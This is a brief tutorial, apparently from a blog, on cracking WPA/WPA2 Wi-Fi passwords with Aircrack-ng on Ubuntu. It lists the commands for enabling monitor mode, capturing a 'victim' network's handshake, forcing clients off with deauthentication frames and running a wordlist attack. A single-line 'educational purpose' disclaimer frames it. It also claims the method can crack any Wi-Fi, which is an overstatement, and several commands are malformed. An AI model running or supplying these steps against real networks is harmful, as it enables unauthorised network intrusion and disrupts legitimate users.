Although it's hard to hack the Wi-Fi encrypted with WPA/WPA2 but it's possible. Today I will describe how to hack Wi-Fi using Aircrack-ng in Linux platform.
Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for wireless LANs.
Today I am using Ubuntu and hacking Wi-Fi is illegal, this demonstration is only for educational purpose. I am not responsible for any consequences.
So let's start cracking:-
Step1: Open the terminal. Type ifconfig
This command will show your wireless adapter (wlo1 in my case)
Step2: Type:
sudo airmon-ng start wlo1
Type your password
(this will enable the Wi-Fi in Monitor mode)
Step3:Now it's time to start capturing the packets using airodump command.This command will show the available wireless network,Type:
sudo airodump-ng mon0
(you can press Ctrl+ C to stop searching the wireless network after getting the victim bssid)
Step4: Now note the victim Wi-Fi bssid and channel then type:
Sudo airodump-ng --bssid -c (Channel) -w hack mon0
Here hack is the text file where the WPA handshake is saved. The actual code looks like this
Sudo airodump-ng --bssid 00:00:00:00:00:00 -c 7 -w hack mon0
Step4: Open new terminal and type:
Sudo aircrack-ng hack-01.cap mon0
If there is wpa handshake available then we can jump directly into next step.
If not available then type :
Sudo aireplay-ng --deauth -a --ignore-negative-one
The above code looks like ( sudo aireplay-ng --deauth 100 -a 00:00:00:00:00:00 mon0 --ignore-negative-one
Step5: Now stop all running task
Sudo airmon-ng stop mon0
Step6: Now open a new terminal and start dictionary attack. Here I have downloaded dictionary file named wordlist.
Type: sudo aircrack-ng -w
The above code look like ( sudo aircrack-ng hack-01.cap -w wordlist
This will start combining the key and start searching the password.Its takes time but can crack any wifi security.
Replay me for more information about aircrack :)